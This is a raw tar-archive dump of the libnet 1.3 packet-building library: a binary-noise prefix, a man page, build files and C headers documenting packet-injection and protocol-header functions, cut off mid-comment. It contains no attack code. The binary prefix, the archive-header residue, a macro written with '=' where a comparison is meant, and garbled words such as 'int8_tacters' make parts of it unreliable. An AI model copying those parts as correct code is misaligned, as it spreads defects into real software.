pA:Xx`:@ C-L 7CÇ- ΤY͛/;paC^&#< XK`rpR:( 0hgzs:D.xa xut`/ lF0am[]숫@ /7( &0VhѪb y2A Zs8=VdR7:3nS(^ [4oR-2|ICXGr5-zO 4Iگ?n! <̺.8KБAs)۶c*6 :P '9l-BRJ jbVE<  ˬ0#Ƶ[s6 9ȑ8*(7;ح ,v.~8 =JK`) s@'l!cѼFIyp N:YYJwz,L14@4w>unh]Z XRe_4M Y|OnDdpY.}M(=)os8tF{˙h3#pSWc}B6ܑ_lc,S@ hEyQz>dzM C`'yIUs `Ax^8IgSdi * pi D ՝0 0ߧ灐PNݡ3% a~Ds,8=gP7DzpfԴ!1yb(cX9rhthfBBJ\6DdhELPƗvd@mT'Ȱ6fa c1@.sS.^&3{=o9]f!ۼ]\2 e}7wYg4j3iƴ)DaMҢ32ͪfuaW:Npl-:ӟV59 kzϱ6X-V+[]c֜9uMkcv^ l["5os6}q{Vunvg޷~gzL&x™.Ь _Ynqoxq!9M~r\+gy]r\3ym~s\;libnet-1.3/doc/man/0000775000175000017500000000000014506572036012376 5ustar syqsyqlibnet-1.3/doc/man/.gitignore0000664000175000017500000000005414506572036014365 0ustar syqsyqlibnet.3 libnet-macros.3 libnet-functions.3 libnet-1.3/doc/man/man1/0000775000175000017500000000000014506572036013232 5ustar syqsyqlibnet-1.3/doc/man/man1/libnet-config.10000664000175000017500000000205414506572036016035 0ustar syqsyq.\" Written by Domenico Andreoli for Debian GNU/Linux. .\" Do whatever you want with this file. .\" NO warranty is provided. .TH libnet-config 1 "18 November 2002" "Libnet 1.1.0" "libnet-config manual" .SH NAME libnet-config \- Get information about a libnet installation .SH SYNOPSIS .B libnet-config [options] .SH DESCRIPTION .B libnet-config displays information about a previous libnet installation. .SH OPTIONS .IP "--cflags" Set of compiler options (CFLAGS) to use when compiling files that use libnet. .IP "--libs" Shows the complete set of libs and other linker options you will need in order to link your application with libnet. .IP "--defines" Set of compiler defines used to compile libnet. .SH "EXAMPLES" What linker options do I need when I link with libnet? libnet-config \-\-libs What compiler options do I need when I compile using libnet functions? libnet-config \-\-cflags .SH SEE ALSO .BR libnet (3) .SH AUTHOR This manual page was written by Domenico Andreoli for the Debian GNU/Linux system (but may be used by others). libnet-1.3/include/0000775000175000017500000000000014506572036012501 5ustar syqsyqlibnet-1.3/include/.gitignore0000664000175000017500000000003614506572036014470 0ustar syqsyqconfig.h.in config.h libnet.h libnet-1.3/include/Makefile.am0000664000175000017500000000056114506572036014537 0ustar syqsyqnobase_include_HEADERS = libnet.h \ libnet/libnet-asn1.h \ libnet/libnet-functions.h \ libnet/libnet-headers.h \ libnet/libnet-macros.h \ libnet/libnet-structures.h \ libnet/libnet-types.h EXTRA_DIST = gnuc.h config.h libnet-1.3/include/gnuc.h0000664000175000017500000000135714506572036013614 0ustar syqsyq/* @(#) $Header: /usr/local/CVS/libnet/include/gnuc.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ (LBL) */ /* Define __P() macro, if necessary */ #ifndef __P #if __STDC__ #define __P(protos) protos #else #define __P(protos) () #endif #endif /* inline foo */ #ifdef __GNUC__ #define inline __inline #else #define inline #endif /* * Handle new and old "dead" routine prototypes * * For example: * * __dead void foo(void) __attribute__((volatile)); * */ #ifdef __GNUC__ #ifndef __dead #define __dead volatile #endif #if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) #ifndef __attribute__ #define __attribute__(args) #endif #endif #else #ifndef __dead #define __dead #endif #ifndef __attribute__ #define __attribute__(args) #endif #endif libnet-1.3/include/libnet.h.in0000664000175000017500000000605114506572036014536 0ustar syqsyq/* * libnet * libnet.h - Network routine library header file * @configure_input@ * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifndef __LIBNET_H #define __LIBNET_H /** * @file libnet.h * @brief Top-level libnet header file * * @details This section doesn't contain any details about libnet.h. * * For details, see libnet-functions.h and libnet-macros.h */ #ifdef __cplusplus extern "C" { #endif /* * TODO move the stuff we ALWAYS need out of the DOXYGEN ifndef block * and minimize their redundancies (see doc/TODO) */ #ifndef DOXYGEN_SHOULD_SKIP_THIS #include #include #include #include #include #include #include #include #include #include #include #if !defined(_MSC_VER) #include #endif #if defined(HAVE_SYS_SOCKIO_H) && !defined(SIOCGIFADDR) #include #endif #if !defined(__WIN32__) #include #include #include #include #include #include #else /* __WIN32__ */ #if (__CYGWIN__) #include #endif #include #include #include #endif /* __WIN32__ */ #if (HAVE_NET_ETHERNET_H) #include #endif /* HAVE_NET_ETHERNET_H */ #define LIBNET_VERSION "@PACKAGE_VERSION@" #define @ENDIANESS@ 1 #ifndef LIBNET_API #define LIBNET_API #endif #endif /* DOXYGEN_SHOULD_SKIP_THIS */ #include "./libnet/libnet-types.h" #include "./libnet/libnet-macros.h" #include "./libnet/libnet-headers.h" #include "./libnet/libnet-structures.h" #include "./libnet/libnet-asn1.h" #include "./libnet/libnet-functions.h" #ifdef __cplusplus } #endif #endif /* __LIBNET_H */ libnet-1.3/include/libnet/0000775000175000017500000000000014506572036013756 5ustar syqsyqlibnet-1.3/include/libnet/Makefile.am0000664000175000017500000000044314506572036016013 0ustar syqsyq# $Id: Makefile.am,v 1.2 2003/10/18 17:20:03 mike Exp $ include $(top_srcdir)/Makefile.am.common libnetincludedir = $(includedir)/libnet libnetinclude_HEADERS = libnet-asn1.h \ libnet-functions.h \ libnet-headers.h \ libnet-macros.h \ libnet-structures.h \ libnet-types.h libnet-1.3/include/libnet/libnet-asn1.h0000664000175000017500000001766214506572036016260 0ustar syqsyq/* * $Id: libnet-asn1.h,v 1.3 2004/01/17 07:51:19 mike Exp $ * * libnet-asn1.h - Network routine library ASN.1 header file * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Definitions for Abstract Syntax Notation One, ASN.1 * As defined in ISO/IS 8824 and ISO/IS 8825 * * Copyright 1988, 1989 by Carnegie Mellon University * All rights reserved. * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, * provided that the above copyright notice appear in all copies and that * both that copyright notice and this permission notice appear in * supporting documentation, and that the name of CMU not be * used in advertising or publicity pertaining to distribution of the * software without specific, written prior permission. * * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS * SOFTWARE. * * Copyright (c) 1998 - 2001 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #ifndef __LIBNET_ASN1_H #define __LIBNET_ASN1_H #ifndef EIGHTBIT_SUBIDS typedef uint32_t oid; #define MAX_SUBID 0xFFFFFFFF #else typedef uint8_t oid; #define MAX_SUBID 0xFF #endif #define MAX_OID_LEN 64 /* max subid's in an oid */ #define ASN_BOOLEAN (0x01) #define ASN_INTEGER (0x02) #define ASN_BIT_STR (0x03) #define ASN_OCTET_STR (0x04) #define ASN_NULL (0x05) #define ASN_OBJECT_ID (0x06) #define ASN_SEQUENCE (0x10) #define ASN_SET (0x11) #define ASN_UNIVERSAL (0x00) #define ASN_APPLICATION (0x40) #define ASN_CONTEXT (0x80) #define ASN_PRIVATE (0xC0) #define ASN_PRIMITIVE (0x00) #define ASN_CONSTRUCTOR (0x20) #define ASN_LONG_LEN (0x80) #define ASN_EXTENSION_ID (0x1F) #define ASN_BIT8 (0x80) #define IS_CONSTRUCTOR(byte) ((byte) & ASN_CONSTRUCTOR) #define IS_EXTENSION_ID(byte) (((byte) & ASN_EXTENSION_ID) = ASN_EXTENSION_ID) /* * All of the build_asn1_* (build_asn1_length being an exception) functions * take the same first 3 arguments: * * uint8_t *data: This is a pointer to the start of the data object to be * manipulated. * int *datalen: This is a pointer to the number of valid bytes following * "data". This should be not be exceeded in any function. * Upon exiting a function, this value will reflect the * changed "data" and then refer to the new number of valid * bytes until the end of "data". * uint8_t type: The ASN.1 object type. */ /* * Builds an ASN object containing an integer. * * Returns NULL upon error or a pointer to the first byte past the end of * this object (the start of the next object). */ uint8_t * libnet_build_asn1_int( uint8_t *, /* Pointer to the output buffer */ int *, /* Number of valid bytes left in the buffer */ uint8_t, /* ASN object type */ int32_t *, /* Pointer to a int32_t integer */ int /* Size of a int32_t integer */ ); /* * Builds an ASN object containing an unsigned integer. * * Returns NULL upon error or a pointer to the first byte past the end of * this object (the start of the next object). */ uint8_t * libnet_build_asn1_uint( uint8_t *, /* Pointer to the output buffer */ int *, /* Number of valid bytes left in the buffer */ uint8_t, /* ASN object type */ uint32_t *, /* Pointer to an unsigned int32_t integer */ int /* Size of a int32_t integer */ ); /* * Builds an ASN object containing an octect string. * * Returns NULL upon error or a pointer to the first byte past the end of * this object (the start of the next object). */ uint8_t * libnet_build_asn1_string( uint8_t *, /* Pointer to the output buffer */ int *, /* Number of valid bytes left in the buffer */ uint8_t, /* ASN object type */ uint8_t *, /* Pointer to a string to be built into an object */ int /* Size of the string */ ); /* * Builds an ASN header for an object with the ID and length specified. This * only works on data types < 30, i.e. no extension octets. The maximum * length is 0xFFFF; * * Returns a pointer to the first byte of the contents of this object or * NULL upon error */ uint8_t * libnet_build_asn1_header( uint8_t *, /* Pointer to the start of the object */ int *, /* Number of valid bytes left in buffer */ uint8_t, /* ASN object type */ int /* ASN object length */ ); uint8_t * libnet_build_asn1_length( uint8_t *, /* Pointer to start of object */ int *, /* Number of valid bytes in buffer */ int /* Length of object */ ); /* * Builds an ASN header for a sequence with the ID and length specified. * * This only works on data types < 30, i.e. no extension octets. * The maximum length is 0xFFFF; * * Returns a pointer to the first byte of the contents of this object. * Returns NULL on any error. */ uint8_t * libnet_build_asn1_sequence( uint8_t *, int *, uint8_t, int ); /* * Builds an ASN object identifier object containing the input string. * * Returns NULL upon error or a pointer to the first byte past the end of * this object (the start of the next object). */ uint8_t * libnet_build_asn1_objid( uint8_t *, int *, uint8_t, oid *, int ); /* * Builds an ASN null object. * * Returns NULL upon error or a pointer to the first byte past the end of * this object (the start of the next object). */ uint8_t * libnet_build_asn1_null( uint8_t *, int *, uint8_t ); /* * Builds an ASN bitstring. * * Returns NULL upon error or a pointer to the first byte past the end of * this object (the start of the next object). */ uint8_t * libnet_build_asn1_bitstring( uint8_t *, int *, uint8_t, uint8_t *, /* Pointer to the input buffer */ int /* Length of the input buffer */ ); #endif /* __LIBNET_ASN1_H */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/include/libnet/libnet-functions.h0000664000175000017500000032137714506572036017427 0ustar syqsyq/* * libnet * libnet-functions.h - function prototypes * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifndef __LIBNET_FUNCTIONS_H #define __LIBNET_FUNCTIONS_H /** * @file libnet-functions.h * @brief libnet exported function prototypes */ /** * Creates the libnet environment. It initializes the library and returns a * libnet context. If the injection_type is LIBNET_LINK or LIBNET_LINK_ADV, the * function initializes the injection primitives for the link-layer interface * enabling the application programmer to build packets starting at the * data-link layer (which also provides more granular control over the IP * layer). If libnet uses the link-layer and the device argument is non-NULL, * the function attempts to use the specified network device for packet * injection. This is either a canonical string that references the device * (such as "eth0" for a 100MB Ethernet card on Linux or "fxp0" for a 100MB * Ethernet card on OpenBSD) or the dots and decimals representation of the * device's IP address (192.168.0.1). If device is NULL, libnet attempts to * find a suitable device to use. If the injection_type is LIBNET_RAW4 or * LIBNET_RAW4_ADV, the function initializes the injection primitives for the * IPv4 raw socket interface. The final argument, err_buf, should be a buffer * of size LIBNET_ERRBUF_SIZE and holds an error message if the function fails. * This function requires root privileges to execute successfully. Upon * success, the function returns a valid libnet context for use in later * function calls; upon failure, the function returns NULL. * @param injection_type packet injection type (LIBNET_LINK, LIBNET_LINK_ADV, LIBNET_RAW4, LIBNET_RAW4_ADV, LIBNET_RAW6, LIBNET_RAW6_ADV) * @param device the interface to use (NULL and libnet will choose one) * @param err_buf will contain an error message on failure * @return libnet context ready for use or NULL on error. */ LIBNET_API libnet_t * libnet_init(int injection_type, const char *device, char *err_buf); /** * Shuts down the libnet session referenced by l. It closes the network * interface and frees all internal memory structures associated with l. * @param l pointer to a libnet context */ LIBNET_API void libnet_destroy(libnet_t *l); /** * Clears the current packet referenced and frees all pblocks. Should be * called when the programmer want to send a completely new packet of * a different type using the same context. * @param l pointer to a libnet context */ LIBNET_API void libnet_clear_packet(libnet_t *l); /** * Fills in a libnet_stats structure with packet injection statistics * (packets written, bytes written, packet sending errors). * @param l pointer to a libnet context * @param ls pointer to a libnet statistics structure */ LIBNET_API void libnet_stats(libnet_t *l, struct libnet_stats *ls); /** * Returns the FILENO of the file descriptor used for packet injection. * @param l pointer to a libnet context * @return the file number of the file descriptor used for packet injection */ LIBNET_API int libnet_getfd(libnet_t *l); #ifdef SO_SNDBUF /** * Tries to set the TX buffer size to a max_bytes value * @param l pointer to a libnet context * @param max_bytes new TX buffer size * @return 0 on success, -1 on failure */ LIBNET_API int libnet_setfd_max_sndbuf(libnet_t *l, int max_bytes); #endif /* SO_SNDBUF */ /** * Returns the canonical name of the device used for packet injection. * @param l pointer to a libnet context * @return the canonical name of the device used for packet injection. Note * it can be NULL without being an error. */ LIBNET_API const char * libnet_getdevice(libnet_t *l); /** * Returns the pblock buffer contents for the specified ptag; a * subsequent call to libnet_getpbuf_size() should be made to determine the * size of the buffer. * @param l pointer to a libnet context * @param ptag the ptag reference number * @return a pointer to the pblock buffer or NULL on error */ LIBNET_API uint8_t * libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag); /** * Returns the pblock buffer size for the specified ptag; a * previous call to libnet_getpbuf() should be made to pull the actual buffer * contents. * @param l pointer to a libnet context * @param ptag the ptag reference number * @return the size of the pblock buffer */ LIBNET_API uint32_t libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag); /** * Returns the last error set inside of the referenced libnet context. This * function should be called anytime a function fails or an error condition * is detected inside of libnet. * @param l pointer to a libnet context * @return an error string or NULL if no error has occurred */ LIBNET_API char * libnet_geterror(libnet_t *l); /** * Returns the sum of the size of all of the pblocks inside of l (this should * be the resulting packet size). * @param l pointer to a libnet context * @return the size of the packet in l */ LIBNET_API uint32_t libnet_getpacket_size(libnet_t *l); /** * Seeds the pseudo-random number generator. * @param l pointer to a libnet context * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_seed_prand(libnet_t *l); /** * Generates an unsigned pseudo-random value within the range specified by * mod. * LIBNET_PR2 0 - 1 * LIBNET_PR8 0 - 255 * LIBNET_PR16 0 - 32767 * LIBNET_PRu16 0 - 65535 * LIBNET_PR32 0 - 2147483647 * LIBNET_PRu32 0 - 4294967295 * * @param mod one the of LIBNET_PR* constants * @retval 1 on success * @retval -1 on failure */ LIBNET_API uint32_t libnet_get_prand(int mod); /** * If a given protocol header is built with the checksum field set to "0", by * default libnet will calculate the header checksum prior to injection. If the * header is set to any other value, by default libnet will not calculate the * header checksum. To over-ride this behavior, use libnet_toggle_checksum(). * Switches auto-checksumming on or off for the specified ptag. If mode is set * to LIBNET_ON, libnet will mark the specified ptag to calculate a checksum * for the ptag prior to injection. This assumes that the ptag refers to a * protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet * will clear the checksum flag and no checksum will be computed prior to * injection. This assumes that the programmer will assign a value (zero or * otherwise) to the checksum field. Often times this is useful if a * precomputed checksum or some other predefined value is going to be used. * Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header * checksum will always be computed by the kernel prior to injection, * regardless of what the programmer sets. * @param l pointer to a libnet context * @param ptag the ptag reference number * @param mode LIBNET_ON or LIBNET_OFF * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode); /** * Takes a network byte ordered IPv4 address and returns a pointer to either a * canonical DNS name (if it has one) or a string of dotted decimals. This may * incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If * mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and * the function will return a pointer to a dotted decimal string. The function * cannot fail -- if no canonical name exists, it will fall back on returning * a dotted decimal string. This function is non-reentrant. * @param in network byte ordered IPv4 address * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE * @return a pointer to presentation format string */ LIBNET_API char * libnet_addr2name4(uint32_t in, uint8_t use_name); /** * Takes a dotted decimal string or a canonical DNS name and returns a * network byte ordered IPv4 address. This may incur a DNS lookup if mode is * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and * host_name refers to a canonical DNS name. * @param l pointer to a libnet context * @param host_name pointer to a string containing a presentation format host * name * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE * @return address in network byte order * @retval -1 (2^32 - 1) on error */ LIBNET_API uint32_t libnet_name2addr4(libnet_t *l, const char *host_name, uint8_t use_name); extern const struct libnet_in6_addr in6addr_error; /** * Check a libnet_in6_addr structure for identity with in6addr_error. * @param addr address to check * @retval 1 if addr is in6addr_error * @retval 0 if it is not */ LIBNET_API int libnet_in6_is_error(struct libnet_in6_addr addr); /** * Takes a dotted decimal string or a canonical DNS name and returns a * network byte ordered IPv6 address. This may incur a DNS lookup if mode is * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and * host_name refers to a canonical DNS name. * @param l pointer to a libnet context * @param host_name pointer to a string containing a presentation format host * name * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE * @return network byte ordered IPv6 address structure */ LIBNET_API struct libnet_in6_addr libnet_name2addr6(libnet_t *l, const char *host_name, uint8_t use_name); /** * Translate an IPv6 address to a canonical DNS name or hexadecimal string. * This may incur a DNS lookup if the mode is set to LIBNET_RESOLVE. If * mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed. * The function cannot fail -- if no canonical name exists, it will fall * back to the hexadecimal string representation. * * This function is reentrant. * * @param addr address to convert * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE * @param host_name Buffer to return result in * @param host_name_len Length of @p host_name buffer */ LIBNET_API void libnet_addr2name6_r(struct libnet_in6_addr addr, uint8_t use_name, char *host_name, int host_name_len); /** * Creates a new port list. Port list chains are useful for TCP and UDP-based * applications that need to send packets to a range of ports (contiguous or * otherwise). The port list chain, which token_list points to, should contain * a series of int8_tacters from the following list: "0123456789,-" of the * general format "x - y, z", where "xyz" are port numbers between 0 and * 65,535. plist points to the front of the port list chain list for use in * further libnet_plist_chain() functions. Upon success, the function returns * 1. Upon failure, the function returns -1 and libnet_geterror() can tell you * why. * @param l pointer to a libnet context * @param plist if successful, will refer to the portlist, if not, NULL * @param token_list string containing the port list primitive * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list); /** * Returns the next port list chain pair from the port list chain plist. bport * and eport contain the starting port number and ending port number, * respectively. Upon success, the function returns 1 and fills in the port * variables; however, if the list is empty, the function returns 0 and sets * both port variables to 0. Upon failure, the function returns -1. * @param plist previously created portlist * @param bport will contain the beginning port number or 0 * @param eport will contain the ending port number or 0 * @retval 1 on success * @retval 0 if empty * @retval -1 on failure */ LIBNET_API int libnet_plist_chain_next_pair(libnet_plist_t *plist, uint16_t *bport, uint16_t *eport); /** * Runs through the port list and prints the contents of the port list chain * list to stdout. * @param plist previously created portlist * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_plist_chain_dump(libnet_plist_t *plist); /** * Runs through the port list and prints the contents of the port list chain * list to string. This function uses strdup and is not re-entrant. It also * has a memory leak and should not really be used. * @param plist previously created portlist * @return a printable string containing the port list contents on success or NULL on error */ LIBNET_API char * libnet_plist_chain_dump_string(libnet_plist_t *plist); /** * Frees all memory associated with port list chain. * @param plist previously created portlist * @retval 1 on success * @retval -1 on failure */ LIBNET_API int libnet_plist_chain_free(libnet_plist_t *plist); /** * @section PBF Packet Builder Functions * * The core of libnet is the platform-independent packet-building * functionality. These functions enable an application programmer to build * protocol headers (and data) in a simple and consistent manner without having * to worry (too much) about low-level network odds and ends. Each * libnet_build() function builds a piece of a packet (generally a protocol * header). While it is perfectly possible to build an entire, * ready-to-transmit packet with a single call to a libnet_build() function, * generally more than one builder-class function call is required to construct * a full packet. A complete wire-ready packet generally consists of more than * one piece. * Every function that builds a protocol header takes a series of arguments * roughly corresponding to the header values as they appear on the wire. This * process is intuitive but often makes for functions with huge prototypes and * large stack frames. * One important thing to note is that you must call these functions in order, * corresponding to how they should appear on the wire (from the highest * protocol layer on down). This building process is intuitive; it approximates * what happens in an operating system kernel. In other words, to build a * Network Time Protocol (NTP) packet by using the link-layer interface, the * application programmer would call the libnet_build() functions in the * following order: * 1. libnet_build_ntp() * 2. libnet_build_udp() * 3. libnet_build_ipv4() * 4. libnet_build_ethernet() * This ordering is essential for libnet 1.1.x to properly link together the * packet internally (previous libnet versions did not have the requirement). * * @subsection TPI The Payload Interface * * The payload interface specifies an optional way to include data directly * after the protocol header in question. You can use this function for a * variety of purposes, including the following: * - Including additional or arbitrary protocol header information that is not * available from a libnet interface * - Including a packet payload (data segment) * - Building another protocol header that is not available from a libnet * interface * To employ the interface, the application programmer should construct the i * payload data and pass a const uint8_t * to this data and its size to the desired * libnet_build() function. Libnet handles the rest. * * It is important to note that some functions (notably the IPv6 builders) do * use the payload interface to specify variable length but ostensibly * non-optional data. See the individual libnet_build_ipv6*() functions for * more information. * * @subsection PT Protocol Tags and Packet Builder Return Values * * Libnet uses the protocol tag (ptag) to identify individual pieces of a * packet after being created. A new ptag results every time a libnet_build() * function with an empty (0) ptag argument completes successfully. This new * ptag now refers to the packet piece just created. The application * programmer's responsibility is to save this value if he or she plans to * modify this particular portion later on in the program. If the application * programmer needs to modify some portion of that particular packet piece * again, he or she calls the same libnet_build() function specifying the * saved ptag argument. Libnet then searches for that packet piece and modifies * it rather than creating a new one. Upon failure for any reason, * libnet_build() functions return -1; libnet_geterror() tells you why. */ /** * Builds an IEEE 802.1q VLAN tagging header. Depending on the value of * len_proto, the function wraps the 802.1q header inside either an IEEE 802.3 * header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte * frame). If len is 1500 or less, most receiving protocol stacks parse the * frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type * values, most protocol stacks parse the frame as an RFC 894 Ethernet II * encapsulated frame. Note the length value is calculated without the 802.1q * header of 18 bytes. * @param dst pointer to a six byte source ethernet address * @param src pointer to a six byte destination ethernet address * @param tpi tag protocol identifier * @param priority priority * @param cfi canonical format indicator * @param vlan_id vlan identifier * @param len_proto length (802.3) protocol (Ethernet II) * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_802_1q(const uint8_t *dst, const uint8_t *src, uint16_t tpi, uint8_t priority, uint8_t cfi, uint16_t vlan_id, uint16_t len_proto, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IEEE 802.1x extended authentication protocol header. * @param eap_ver the EAP version * @param eap_type the EAP type * @param length frame length * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_802_1x(uint8_t eap_ver, uint8_t eap_type, uint16_t length, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IEEE 802.2 LLC header. * @param dsap destination service access point * @param ssap source service access point * @param control control field * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_802_2(uint8_t dsap, uint8_t ssap, uint8_t control, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IEEE 802.2 LLC SNAP header. * @param dsap destination service access point * @param ssap source service access point * @param control control field * @param oui Organizationally Unique Identifier * @param type upper layer protocol * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_802_2snap(uint8_t dsap, uint8_t ssap, uint8_t control, uint8_t *oui, uint16_t type, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an IEEE 802.3 header. The 802.3 header is almost identical to the * RFC 894 Ethernet II header, the exception being that the field immediately * following the source address holds the frame's length (as opposed to the * layer 3 protocol). You should only use this function when libnet is * initialized with the LIBNET_LINK interface. * @param dst destination ethernet address * @param src source ethernet address * @param len frame length sans header * @param payload optional payload or NULL * @param payload_s payload length or 0 * @param l pointer to a libnet context * @param ptag protocol tag to modify an existing header, 0 to build a new one * @return protocol tag value on success * @retval -1 on error */ LIBNET_API libnet_ptag_t libnet_build_802_3(const uint8_t *dst, const uint8_t *src, uint16_t len, const uint8_t* payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag); /** * Builds an Ethernet header. The RFC 894 Ethernet II header is almost * identical to the 